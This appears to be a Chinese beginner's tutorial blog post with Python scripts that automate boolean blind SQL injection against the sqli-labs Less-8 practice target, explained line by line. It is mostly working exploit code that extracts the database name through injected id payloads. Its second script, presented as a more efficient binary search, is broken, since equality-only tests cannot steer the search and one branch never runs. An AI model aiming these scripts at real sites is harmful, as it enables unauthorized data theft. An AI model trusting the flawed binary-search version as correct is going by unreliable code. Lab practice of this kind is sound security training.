网络安全初级(Python实现sql自动化布尔盲注)

发布于:2025-07-17 ⋅ 阅读:(17) ⋅ 点赞:(0)

以sqli靶场Less-8为例

字符型python代码

代码通过构造特定的 SQL 注入 Payload,向目标网站发送 HTTP 请求,根据服务器的响应信息逐步推断出数据库名称。这种方法利用了 SQL 注入漏洞,即通过在输入参数中注入恶意的 SQL 代码,来绕过正常的输入验证,获取数据库中的信息。

# 目标URL
url = "http://sqli/Less-8/index.php"

# 要推断的数据库信息(例如:数据库名)
database_name = ""

# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "

# 推断数据库名的长度


def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0

# 推断数据库名


def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        for char in charset:  
            payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                db_name += char
                break  # 找到正确字符后跳出内层循环
    return db_name


# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

 代码解析

1. 导入模块

import requests

这行代码导入了requests库,该库用于发送 HTTP 请求,在本代码中用于与目标网站进行交互。

2. 定义目标 URL 和变量

# 目标URL
url = "http://sqli/Less-8/index.php"

# 要推断的数据库信息(例如:数据库名)
database_name = ""

# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
  • url:指定了目标网站的 URL,即要进行 SQL 注入测试的页面。
  • database_name:用于存储推断出的数据库名,初始为空字符串。
  • charset:定义了可能出现在数据库名中的字符集,包括大小写字母、数字和一些特殊字符。

3. 推断数据库名的长度

def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0
  • get_database_length函数的作用是推断数据库名的长度。
  • 使用一个无限循环,每次将length加 1。
  • 构造 SQL 注入 payload,payload中的length(database())用于获取数据库名的长度,通过不断尝试不同的length值,判断是否与实际长度相等。
  • 发送带有payload的 GET 请求到目标 URL,将payload作为id参数的值。
  • 如果响应文本中包含"You are in...........",说明当前length值就是数据库名的长度,返回该值。
  • 为了防止无限循环,当length超过 50 时,跳出循环并返回 0。
4. 推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        for char in charset:  
            payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                db_name += char
                break  # 找到正确字符后跳出内层循环
    return db_name
  • get_database_name函数根据已知的数据库名长度来推断数据库名。
  • 使用两层循环,外层循环遍历数据库名的每一个位置(从 1 到length),内层循环遍历字符集charset中的每一个字符。
  • 构造 SQL 注入 payload,substring(database(), {i}, 1)用于获取数据库名中第i个位置的字符,通过不断尝试不同的字符,判断是否与实际字符相等。
  • 发送带有payload的 GET 请求到目标 URL,将payload作为id参数的值。
  • 如果响应文本中包含"You are in",说明当前字符就是数据库名中第i个位置的字符,将该字符添加到db_name中,并跳出内层循环。
  • 最后返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")
  • 主函数首先调用get_database_length函数获取数据库名的长度。
  • 如果长度大于 0,打印数据库名的长度,并调用get_database_name函数推断数据库名,然后打印推断出的数据库名。
  • 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。

 数字型python代码

import requests

# 目标URL
url = "http://sqli/Less-8/index.php"

# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32  # 空格字符
max_ascii = 126  # 波浪线字符

# 推断数据库名的长度
def get_database_length():
    left, right = 1, 100
    while left <= right:
        mid = (left + right) // 2
        payload = f"1' AND (SELECT length(database()) = {mid}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return mid
        elif "You are in" not in response.text:
            left = mid + 1
        else:
            right = mid - 1
    return 0

# 推断数据库名中的单个字符
def get_char_at_position(position):
    left, right = min_ascii, max_ascii
    while left <= right:
        mid = (left + right) // 2
        payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in" in response.text:
            return chr(mid)
        elif "You are in" not in response.text:
            left = mid + 1
        else:
            right = mid - 1
    return None

# 推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        char = get_char_at_position(i)
        if char:
            db_name += char
    return db_name

# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

1. 导入模块和定义常量

import requests

# 目标URL
url = "http://sqli/Less-8/index.php"

# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32  # 空格字符
max_ascii = 126  # 波浪线字符
  • requests 库用于发送 HTTP 请求。
  • url 是目标网站的 URL,即要进行 SQL 注入测试的页面。
  • min_ascii 和 max_ascii 定义了可能出现的字符的 ASCII 码范围,用于后续二分查找。
2. 推断数据库名的长度
def get_database_length():
    left, right = 1, 100
    while left <= right:
        mid = (left + right) // 2
        payload = f"1' AND (SELECT length(database()) = {mid}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return mid
        elif "You are in" not in response.text:
            left = mid + 1
        else:
            right = mid - 1
    return 0
  • 使用二分查找来确定数据库名的长度。初始时,left 为 1,right 为 100。
  • 在每次循环中,计算中间值 mid,并构造 SQL 注入 Payload,通过 length(database()) 函数获取数据库名的长度,并与 mid 进行比较。
  • 发送包含 Payload 的 GET 请求到目标 URL。
    • 如果响应文本中包含 "You are in...........",说明 mid 就是数据库名的长度,返回 mid
    • 如果响应文本中不包含 "You are in",说明数据库名的长度大于 mid,更新 left = mid + 1
    • 否则,说明数据库名的长度小于 mid,更新 right = mid - 1
  • 如果最终没有找到合适的长度,返回 0。
3. 推断数据库名中的单个字符
def get_char_at_position(position):
    left, right = min_ascii, max_ascii
    while left <= right:
        mid = (left + right) // 2
        payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in" in response.text:
            return chr(mid)
        elif "You are in" not in response.text:
            left = mid + 1
        else:
            right = mid - 1
    return None
  • 同样使用二分查找来确定数据库名中指定位置的字符。
  • 对于每个位置,通过 ASCII(SUBSTRING(database(), {position}, 1)) 函数获取该位置字符的 ASCII 码,并与中间值 mid 进行比较。
  • 发送包含 Payload 的 GET 请求到目标 URL。
    • 如果响应文本中包含 "You are in",说明 mid 就是该位置字符的 ASCII 码,使用 chr(mid) 将其转换为字符并返回。
    • 如果响应文本中不包含 "You are in",说明该位置字符的 ASCII 码大于 mid,更新 left = mid + 1
    • 否则,说明该位置字符的 ASCII 码小于 mid,更新 right = mid - 1
  • 如果最终没有找到合适的字符,返回 None
4. 推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        char = get_char_at_position(i)
        if char:
            db_name += char
    return db_name
  • 遍历数据库名的每个位置,调用 get_char_at_position 函数获取该位置的字符。
  • 如果获取到字符,将其添加到 db_name 中。
  • 最终返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")
  • 主函数首先调用 get_database_length 函数获取数据库名的长度。
  • 如果长度大于 0,打印数据库名的长度,并调用 get_database_name 函数推断数据库名,然后打印推断出的数据库名。
  • 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。

优缺点比较

字符型代码(字符型线性查找)

优点
  • 逻辑清晰:代码结构简单,将不同的功能封装成独立的函数,例如get_database_length用于获取数据库名称的长度,get_database_name用于根据长度推断数据库名称,主函数负责调用这些功能函数并输出结果,易于理解和维护。
  • 易于扩展:字符集charset可以根据需要进行扩展,方便处理包含更多字符的数据库名称。
缺点
  • 效率较低:在推断数据库名称的每个字符时,使用了线性查找,即遍历整个字符集,对于较长的字符集或数据库名称,需要发送大量的 HTTP 请求,时间复杂度较高。
  • 缺乏错误处理:代码没有对requests.get请求可能出现的异常进行处理,例如网络连接错误、请求超时等,当出现这些异常时,程序可能会崩溃。
改进建议
  • 添加异常处理:在requests.get调用处添加异常处理,确保程序在遇到网络问题时能够正常处理,避免崩溃。
try:
    response = requests.get(url, params={"id": payload})
except requests.RequestException as e:
    print(f"Request error: {e}")
    return None
  • 使用更高效的查找算法:如之前修改为二分查找的版本,能显著减少 HTTP 请求的次数,提高效率。

二分查找版本代码

优点
  • 效率提升:使用二分查找来推断数据库名称的长度和每个字符,将查找的时间复杂度从线性降低到对数级别,减少了 HTTP 请求的次数,提高了程序的执行效率。
  • 通用性:通过使用 ASCII 码范围来进行查找,避免了手动定义字符集的局限性,能够处理更广泛的字符。
缺点
  • 假设范围固定:代码假设数据库名称中的字符 ASCII 码范围在 32 到 126 之间,如果实际数据库名称包含超出这个范围的字符,可能无法正确推断。
  • 缺乏详细的错误反馈:对于二分查找过程中可能出现的异常情况,如没有找到合适的长度或字符,只是简单返回 0 或None,没有提供详细的错误信息,不利于调试。
改进建议
  • 扩大字符范围:可以根据实际情况扩大 ASCII 码范围,或者动态调整范围,以处理更多类型的字符。
  • 添加详细的错误反馈:在返回 0 或None时,输出更详细的错误信息,帮助调试。
if length == 0:
    print("Failed to determine database length. The database length might be greater t

网站公告

今日签到

点亮在社区的每一天
去签到